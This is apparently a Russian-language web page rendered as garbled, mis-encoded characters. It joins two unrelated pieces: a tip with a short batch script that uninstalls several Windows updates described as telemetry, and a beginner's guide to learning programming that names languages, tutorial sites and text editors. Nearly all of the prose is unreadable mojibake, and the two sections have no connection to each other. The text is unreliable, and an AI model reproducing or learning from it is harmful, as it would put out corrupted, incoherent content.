ΠΡΠ΅ ΡΠ°ΠΊΠΆΠ΅, ΠΏΡΠΎΠΏΠΈΡΡΠ²Π°Π΅ΠΌ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡΠ΅, ΡΠΎΡ
ΡΠ°Π½ΡΠ΅ΠΌ Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ. bat ΠΈ ΠΏΠΎΡΠ»Π΅ Π·Π°ΠΏΡΡΠΊΠ° ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΈΡΡΡ (ΠΎΠ±ΡΡΠ½Π°Ρ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΊΠ° ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ°).
Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉ
ΠΠ°Π½Π½ΡΠΉ Π±Π°ΡΠ½ΠΈΠΊ ΠΏΡΠΈΠ³ΠΎΠ΄ΠΈΡΡΡ Π² ΡΠΎΠΌ ΡΠ»ΡΡΠ°Π΅, Π΅ΡΠ»ΠΈ Π²Ρ ΡΠΆΠ΅ . Π ΡΠ΅ΠΌ ΡΡΡΡ? Π ΡΡΠΎΠΌ Π±Π°ΡΠ½ΠΈΠΊΠ΅ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½Ρ ΠΊΠΎΠΌΠ°Π½Π΄Ρ ΠΏΠΎ ΡΠ΄Π°Π»Π΅Π½ΠΈΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΈΡ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉ, ΠΊΠ°ΠΊ Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· Π½Π°Π·Π²Π°Π½ΠΈΡ — ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ ΡΠ΅Π»Π΅ΠΌΠ΅ΡΡΠΈΠΈ, ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΡΠ°Π· ΠΎΠ΄Π½Π° ΠΈΠ· ΡΠΏΠΈΠΎΠ½ΡΠΊΠΈΡ ΡΡΡΡΠ΅ΠΊ ΡΠΈΡΡΠ΅ΠΌΡ, ΠΌΡ ΠΎΠ΄Π½Π°ΠΆΠ΄Ρ ΡΠΆΠ΅ Π³ΠΎΠ²ΠΎΡΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΎΡΠΊΠ»ΡΡΠΈΡΡ , Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΆΠ΅ ΡΠ»ΡΡΠ°Π΅ Π²Ρ ΠΏΡΠΎΡΡΠΎ ΡΠΎΠ·Π΄Π°Π΅ΡΠ΅ Π±Π°ΡΠ½ΠΈΠΊ, Π² ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΠΊΠΎΠΏΠΈΡΡΠ΅ΡΠ΅ ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ ΠΈ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΡΠ΅, ΠΏΠΎΡΠ»Π΅ ΡΠ΅Π³ΠΎ Π±ΡΠ΄ΡΡ ΡΠ΄Π°Π»Π΅Π½Ρ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½Π½ΡΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ.
@echo
echo
echo Step 1: Delete Updates Telemetry
wusa /uninstall /kb:3068708 /quiet /norestart
wusa /uninstall /kb:3022345 /quiet /norestart
wusa /uninstall /kb:3075249 /quiet /norestart
wusa /uninstall /kb:3080149 /quiet /norestart
Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π°Π»ΠΈΡΡ Π°Π±ΡΠΎΠ»ΡΡΠ½ΠΎ Π»ΡΠ±ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅, Π΄Π°ΠΆΠ΅ Π½Π°Π·ΠΎΠΉΠ»ΠΈΠ²ΠΎΠ΅ KB971033 ΠΊΠΎΡΠΎΡΠΎΠ΅ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ .
Π ΠΠ½ΡΠ΅ΡΠ½Π΅ΡΠ΅ Π²ΡΡΡΠ΅ΡΠ°Π΅ΡΡΡ ΠΌΠ½ΠΎΠ³ΠΎ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ
ΡΠΊΡΠΈΠΏΡΠΎΠ², ΡΠΊΠΎΠ±Ρ Π±Π΅Π·Π²ΡΠ΅Π΄Π½ΡΡ
, Π½ΠΎ Π±ΡΠ΄ΡΡΠ΅ ΠΎΡΡΠΎΡΠΎΠΆΠ½Ρ, ΠΏΡΠ΅ΠΆΠ΄Π΅ ΡΠ΅ΠΌ ΠΏΡΠΎΠ±ΠΎΠ²Π°ΡΡ Π½Π΅ΠΏΠΎΠ½ΡΡΠ½ΠΎ ΠΊΠ°ΠΊΠΎΠΉ ΡΠΊΡΠΈΠΏΡ, Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΠ· Π½ΠΈΡ
ΠΌΠΎΠ³ΡΡ Π½Π°Π²ΡΠ΅Π΄ΠΈΡΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ — Π²Π½ΠΎΡΠΈΡΡ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π² ΡΠ΅Π΅ΡΡΡ, Π° Π² ΡΠ»ΡΡΠ°Π΅ ΠΊΠ°ΠΊΠΈΡ
ΠΎΡΠΈΠ±ΠΎΠΊ ΡΠΈΡΡΠ΅ΠΌΠ° Π±ΡΠ΄Π΅Ρ Π²ΡΠ΄Π°Π²Π°ΡΡ ΠΎΡΠΈΠ±ΠΊΠΈ, Π² ΡΠ°ΠΊΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΈΠ»ΠΈ Windows ΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°ΡΡ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΡΠΈΡΡΠ΅ΠΌΡ.
ΠΠΎ ΠΌΠ΅ΡΠ΅ ΡΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΡ ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡ Π²ΡΠ΅ Π±ΠΎΠ»Π΅Π΅ ΠΈ Π±ΠΎΠ»Π΅Π΅ Π΄ΠΎΡΡΡΠΏΠ½ΠΎΠΉ ΡΠΈΡΠΎΠΊΠΎΠΉ ΠΏΡΠ±Π»ΠΈΠΊΠ΅, ΡΠ°ΡΡΠ΅Ρ ΠΈ ΠΏΠΎΡΡΠ΅Π±Π½ΠΎΡΡΡ Π² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠ°Ρ . ΠΠ°ΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ½ΡΡ ΠΊΠΎΠ΄ΠΎΠ² ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ, ΠΎΠ½ΠΎ ΠΆΠ΅ ΠΊΠΎΠ΄ΠΈΠ½Π³ (ΠΎΡ Π°Π½Π³Π». «Coding»), — ΡΡΠΎ Π½Π°Π²ΡΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΡΠΈΠΎΠ±ΡΠ΅ΡΠ°Π΅ΡΡΡ ΠΈ ΡΠΎΠ²Π΅ΡΡΠ΅Π½ΡΡΠ²ΡΠ΅ΡΡΡ Π½Π° ΠΏΡΠΎΡΡΠΆΠ΅Π½ΠΈΠΈ Π΄ΠΎΠ»Π³ΠΎΠ³ΠΎ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ, Π½ΠΎ Π΄Π°ΠΆΠ΅ ΡΠ°ΠΌΡΠΉ ΠΎΠΏΡΡΠ½ΡΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡ ΠΊΠΎΠ³Π΄Π°-ΡΠΎ Π±ΡΠ» Π½ΠΎΠ²ΠΈΡΠΊΠΎΠΌ. Π‘ΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ Π±ΠΎΠ»ΡΡΠΎΠ΅ ΡΠ°Π·Π½ΠΎΠΎΠ±ΡΠ°Π·ΠΈΠ΅ ΡΠ·ΡΠΊΠΎΠ² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΡΠ΅ Π²Π΅Π»ΠΈΠΊΠΎΠ»Π΅ΠΏΠ½ΠΎ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡ Π΄Π»Ρ Π½Π°ΡΠΈΠ½Π°ΡΡΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠΎΠ², Π²Π½Π΅ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ ΠΎΡ ΡΠΎΠ³ΠΎ, Π² ΠΊΠ°ΠΊΠΎΠΉ ΡΡΠ΅ΡΠ΅ Π΄Π΅ΡΡΠ΅Π»ΡΠ½ΠΎΡΡΠΈ Π²Ρ Ρ ΠΎΡΠΈΡΠ΅ ΠΏΡΠΈΠΌΠ΅Π½ΡΡΡ Π²Π°ΡΠΈ Π½Π°Π²ΡΠΊΠΈ. Π£Π·Π½Π°ΠΉΡΠ΅, ΠΊΠ°ΠΊ Π½Π°ΡΡΠΈΡΡΡΡ ΠΏΠΈΡΠ°ΡΡ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ½ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, ΠΏΡΠΎΡΠΈΡΠ°Π² ΡΡΡ ΡΡΠ°ΡΡΡ.
Π¨Π°Π³ΠΈ
ΠΡΡΡΠΈΡΠ΅ ΡΠ·ΡΠΊ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ
ΠΠ΅ ΡΠ»ΠΈΡΠΊΠΎΠΌ Π²ΠΎΠ»Π½ΡΠΉΡΠ΅ΡΡ ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ ΡΠ·ΡΠΊ Π²Π°ΠΌ ΡΡΠΎΠΈΡ Π²ΡΠ±ΡΠ°ΡΡ Π΄Π»Ρ ΠΈΠ·ΡΡΠ΅Π½ΠΈΡ. ΠΠ½ΠΎΠ³ΠΈΠ΅ Π½Π°ΡΠΈΠ½Π°ΡΡΠΈΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΡ Π·Π°ΡΡΡΠ΄Π½ΡΡΡΡΡ Π²ΡΠ±ΡΠ°ΡΡ ΡΠ·ΡΠΊ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ ΡΠΎΠ»ΡΠΊΠΎ Π½Π°ΡΠΈΠ½Π°ΡΡ ΠΈΠ·ΡΡΠ°ΡΡ Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΡΡ
ΠΊΠΎΠ΄ΠΎΠ². ΠΠ΅ΠΏΠΎΡΡΠ΅Π΄ΡΡΠ²Π΅Π½Π½ΠΎ ΡΠ°ΠΌ ΡΠ·ΡΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ Π²Ρ Π²ΡΠ±Π΅ΡΠ΅ΡΠ΅, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΡ, ΠΊΠΎΠ³Π΄Π° ΡΠ΅ΡΡ Π·Π°Ρ
ΠΎΠ΄ΠΈΡ ΠΎΠ± ΠΈΠ·ΡΡΠ΅Π½ΠΈΠΈ ΡΡΡΡΠΊΡΡΡ ΠΈ Π»ΠΎΠ³ΠΈΠΊΠΈ ΠΏΠΎΡΡΡΠΎΠ΅Π½ΠΈΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ. ΠΡΠΈ Π½Π°Π²ΡΠΊΠΈ ΡΠ²Π»ΡΡΡΡΡ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½ΡΠΌΠΈ, ΠΈ ΠΈΡ
ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡΡΠΈΡΡ Ρ Π»ΡΠ±ΡΠΌ ΡΠ·ΡΠΊΠΎΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ.
- ΠΡΠ±ΠΈΡΠ°Ρ ΡΠ·ΡΠΊ, ΡΠΊΠΎΠ½ΡΠ΅Π½ΡΡΠΈΡΡΠΉΡΠ΅ΡΡ Π½Π° ΡΠΎΠΌ, Π² ΠΊΠ°ΠΊΠΈΡ ΡΠ΅Π»ΡΡ Π²Ρ Ρ ΠΎΡΠΈΡΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΡΠ΅ ΠΊΠΎΠ΄Ρ, ΠΈ ΡΠΆΠ΅ ΠΏΠΎΡΠΎΠΌ Π²ΡΠ±ΠΈΡΠ°ΠΉΡΠ΅ Π½Π°ΡΠ°Π»ΡΠ½ΡΠΉ ΡΠ·ΡΠΊ. Π ΠΏΡΠΈΠΌΠ΅ΡΡ, Π΅ΡΠ»ΠΈ Π²Ρ Ρ ΠΎΡΠΈΡΠ΅ Π·Π°Π½ΠΈΠΌΠ°ΡΡΡΡ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠΎΠΉ Π²Π΅Π±-ΡΠ°ΠΉΡΠΎΠ², ΡΠΎ Π²Π°ΠΌ ΡΠ»Π΅Π΄ΡΠ΅Ρ Π½Π°ΡΠ°ΡΡ Ρ ΠΈΠ·ΡΡΠ΅Π½ΠΈΡ HTML, Π° Π·Π°ΡΠ΅ΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΡ Π΅Π³ΠΎ ΡΠ·ΡΠΊΠ°ΠΌΠΈ CSS, JavaScript ΠΈ PHP. ΠΡΠ»ΠΈ Π²Ρ Ρ ΠΎΡΠΈΡΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π΄Π»Ρ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠΎΠ², ΡΠΎ Π½Π°ΡΠ½ΠΈΡΠ΅ ΠΈΠ·ΡΡΠ°ΡΡ C ++ ΠΈΠ»ΠΈ Π»ΡΠ±ΠΎΠΉ Π΄ΡΡΠ³ΠΎΠΉ ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΉ ΡΠ·ΡΠΊ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ.
- ΠΡΠ»ΠΈ Π²Ρ ΡΡΠ°Π½Π΅ΡΠ΅ ΠΏΡΠΎΡΠ΅ΡΡΠΈΠΎΠ½Π°Π»ΡΠ½ΡΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠΎΠΌ, ΡΠΎ Π²Ρ Π±ΡΡΡΡΠΎ ΠΏΠΎΠΉΠΌΠ΅ΡΠ΅, ΡΡΠΎ Π²Ρ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡΠ΄Π΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠΎΡ ΡΠ·ΡΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ Π²Ρ ΠΈΠ·Π½Π°ΡΠ°Π»ΡΠ½ΠΎ Π²ΡΡΡΠΈΠ»ΠΈ, Π΄Π»Ρ Π²Π°ΡΠ΅ΠΉ ΡΠ°Π±ΠΎΡΡ. ΠΠΌΠ΅ΡΡΠΎ ΡΡΠΎΠ³ΠΎ, Π²Ρ Π±ΡΠ΄Π΅ΡΠ΅ Π²ΡΠ΅ Π²ΡΠ΅ΠΌΡ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡΡ ΡΡΠΈΡΡ Π½ΠΎΠ²ΡΠ΅ ΡΠ·ΡΠΊΠΈ ΡΠ΅ΡΠ΅Π· Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΡ ΠΈ ΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΡ.
ΠΠ°ΠΉΠ΄ΠΈΡΠ΅ Π±Π΅ΡΠΏΠ»Π°ΡΠ½ΡΠ΅ ΠΎΠ½Π»Π°ΠΉΠ½-ΡΠ΅ΡΡΡΡΡ, ΠΏΠΎΡΠ²ΡΡΠ΅Π½Π½ΡΠ΅ Π²Π°ΡΠ΅ΠΌΡ Π²ΡΠ±ΡΠ°Π½Π½ΠΎΠΌΡ ΡΠ·ΡΠΊΡ. ΠΠ½ΡΠ΅ΡΠ½Π΅Ρ — ΡΡΠΎ ΡΡΠ½Π΄ΡΠΊ Ρ ΡΠΎΠΊΡΠΎΠ²ΠΈΡΠ°ΠΌΠΈ, ΠΊΠΎΡΠΎΡΡΠΉ Ρ
ΡΠ°Π½ΠΈΡ Π² ΡΠ΅Π±Π΅ Π±Π΅ΡΠΏΠ»Π°ΡΠ½ΡΠ΅ ΠΏΠΎΡΠΎΠ±ΠΈΡ, ΠΊΡΡΡΡ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, ΠΏΠΎΡΠ²ΡΡΠ΅Π½Π½ΡΠ΅ ΡΠ·ΡΠΊΡ, ΠΊΠΎΡΠΎΡΡΠΉ Π²Ρ ΡΠ΅ΡΠΈΠ»ΠΈ ΡΡΠΈΡΡ. ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΡΡΡΠΈΡΡ ΠΎΡΠ½ΠΎΠ²Ρ ΠΏΠΎΡΡΠΈ Π»ΡΠ±ΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΠ·ΡΠΊΠ° Π·Π° Π΄Π΅Π½Ρ.
- ΠΠΎΡ ΡΠΎΠ»ΡΠΊΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΠΎΠΏΡΠ»ΡΡΠ½ΡΡ ΡΠ°ΠΉΡΠΎΠ²: Bento, CodeAcademy, Code.org, html.net, Khan Academy, Udacity, W3Schools ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄ΡΡΠ³ΠΈΠ΅.
- ΠΠ° wikiHow ΡΠΎΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ Π±ΠΎΠ»ΡΡΠΎΠ΅ ΡΠ°Π·Π½ΠΎΠΎΠ±ΡΠ°Π·ΠΈΠ΅ Π½Π°ΡΠ°Π»ΡΠ½ΡΡ ΠΏΠΎΡΠΎΠ±ΠΈΠΉ Π΄Π»Ρ ΡΠ°Π·Π½ΡΡ ΡΠ·ΡΠΊΠΎΠ².
- ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π½Π°ΠΉΡΠΈ ΠΎΠ±ΡΡΠ°ΡΡΠΈΠ΅ Π²ΠΈΠ΄Π΅ΠΎ ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ Π΄Π»Ρ Π»ΡΠ±ΠΎΠ³ΠΎ ΡΠ·ΡΠΊΠ° Π½Π° YouTube.
- Stack Exchange — ΡΡΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΡΠ°ΠΌΡΡ ΠΏΠΎΠΏΡΠ»ΡΡΠ½ΡΡ ΡΠΎΡΡΠΌΠΎΠ², Π½Π° ΠΊΠΎΡΠΎΡΠΎΠΌ ΠΏΡΠΎΡΠ΅ΡΡΠΈΠΎΠ½Π°Π»ΡΠ½ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΡ ΠΎΡΠ²Π΅ΡΠ°ΡΡ Π½Π° Π»ΡΠ±ΡΠ΅ Π²ΠΎΠΏΡΠΎΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ.
Π‘ΠΊΠ°ΡΠ°ΠΉΡΠ΅ Ρ ΠΎΡΠΎΡΠΈΠΉ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠΉ ΡΠ΅Π΄Π°ΠΊΡΠΎΡ. ΠΠ½ΠΎΠ³ΠΈΠ΅ ΡΠ·ΡΠΊΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ Π²Π½Π΅ΡΠ½ΠΈΡ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΡ ΡΠ΅Π΄Π°ΠΊΡΠΎΡΠΎΠ² Π΄Π»Ρ Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ. ΠΠ°ΠΉΠ΄ΠΈΡΠ΅ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠΉ ΡΠ΅Π΄Π°ΠΊΡΠΎΡ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΎΡΠΎΠ±ΡΠ°ΠΆΠ°ΡΡ ΠΎΡΡΡΡΠΏΡ ΠΈ ΠΊΠΎΠ΄ΠΎΠ²ΡΡ ΡΠ°Π·ΠΌΠ΅ΡΠΊΡ.
- ΠΠΎΠΏΡΠ»ΡΡΠ½ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π²ΠΊΠ»ΡΡΠ°ΡΡ Notepad++ (Windows), TextWrangler (OS X) ΠΈ JEdit (Π»ΡΠ±Π°Ρ ΡΠΈΡΡΠ΅ΠΌΠ°).
Π‘ΠΊΠ°ΡΠ°ΠΉΡΠ΅ Π»ΡΠ±ΡΠ΅ Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΡΠ΅ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡΡ. ΠΠ΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ·ΡΠΊΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΡΠ΅Π±ΡΡΡ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡ Π΄Π»Ρ ΠΎΡΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ ΠΈΡΡ
ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡΠΎΡΡΠΉ Π²Ρ Π½Π°ΠΏΠΈΡΠ°Π»ΠΈ. ΠΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡΡ ΡΡΠ°Π½ΡΠ»ΠΈΡΡΡΡ ΠΈΡΡ
ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ Π² ΡΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½ΡΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π° ΡΠ·ΡΠΊΠ΅ Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ ΡΡΠΎΠ²Π½Ρ, ΠΊΠΎΡΠΎΡΠ°Ρ Π·Π°ΡΠ΅ΠΌ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°Π΅ΡΡΡ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠΎΠΌ. ΠΠ½ΠΎΠ³ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡΡ ΡΠ²Π»ΡΡΡΡΡ ΠΎΡΠΊΡΡΡΡΠΌΠΈ ΠΈ Π±Π΅ΡΠΏΠ»Π°ΡΠ½ΡΠΌΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°ΠΌΠΈ. Π―Π·ΡΠΊΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΡΠ΅Π±ΡΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡΠΎΠ², Π²ΠΊΠ»ΡΡΠ°ΡΡ:
ΠΠ°ΡΠ½ΠΈΡΠ΅ Π²Π°Ρ ΠΏΠ΅ΡΠ²ΡΠΉ ΠΏΡΠΎΠ΅ΠΊΡ. ΠΡΠ±Π΅ΡΠΈΡΠ΅ Ρ ΠΎΡΠΎΡΠΈΠΉ Π²Π²ΠΎΠ΄Π½ΡΠΉ ΠΏΡΠΎΠ΅ΠΊΡ, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ Π²Π°ΠΌ ΠΈΡΠΏΡΠΎΠ±ΠΎΠ²Π°ΡΡ Π²Π°ΡΠΈ Π½ΠΎΠ²ΡΠ΅ Π½Π°Π²ΡΠΊΠΈ. Π ΠΈΠ½ΡΠ΅ΡΠ½Π΅ΡΠ΅ ΡΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ ΠΏΠΎΡΠΎΠ±ΠΈΠΉ ΠΏΠΎ ΡΡΠΎΠΉ ΡΠ΅ΠΌΠ΅; Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π½Π°ΡΠ°ΡΡ Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΠΏΡΠΎΡΡΡΡ Π²Π΅Π±-ΡΠ°ΠΉΡΠΎΠ² Ρ HTML, ΠΏΡΠΎΡΡΡΡ Π±Π°Π· Π΄Π°Π½Π½ΡΡ ΠΈ ΡΡΠ½ΠΊΡΠΈΠΉ Ρ PHP ΠΈΠ»ΠΈ ΠΏΡΠΎΡΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ Π½Π° Π»ΡΠ±ΠΎΠΌ ΠΈΠ· ΡΠ·ΡΠΊΠΎΠ², ΡΡΠ΅Π±ΡΡΡΠΈΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡΠΎΠ².
Π Π°ΡΡΠΌΠ°ΡΡΠΈΠ²Π°ΠΉΡΠ΅ Π΄Π΅ΡΠ°Π»ΠΈ Π΄ΡΡΠ³ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ ΠΈΠ»ΠΈ Π²Π΅Π±-ΠΏΡΠΎΠ΅ΠΊΡΠΎΠ². ΠΠΎΠ³Π΄Π° Π²Ρ ΡΡΠΈΡΠ΅ ΠΊΠΎΠ΄ Π½Π° Ρ ΠΎΠ΄Ρ, Π½Π΅ ΡΡΡΠ΄ΠΈΡΠ΅ΡΡ ΠΈΡΠΊΠ°ΡΡ ΠΏΠΎΠ΄ΡΠΊΠ°Π·ΠΊΠΈ Π² ΠΈΠ½ΡΠ΅ΡΠ½Π΅ΡΠ΅ ΠΈ ΡΠΌΠΎΡΡΠ΅ΡΡ, ΠΊΠ°ΠΊ Π΄ΡΡΠ³ΠΈΠ΅ Π»ΡΠ΄ΠΈ ΡΠ΅ΡΠ°ΡΡ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΠ΅ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ. Π£Π΄Π΅Π»ΡΠΉΡΠ΅ Π²ΡΠ΅ΠΌΡ Π½Π° ΡΠΎ, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ½ΡΡΡ, ΠΏΠΎΡΠ΅ΠΌΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠ΅ Π»ΠΈΠ½ΠΈΠΈ ΠΊΠΎΠ΄Π° Π²Π΅Π΄ΡΡ ΡΠ΅Π±Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ.
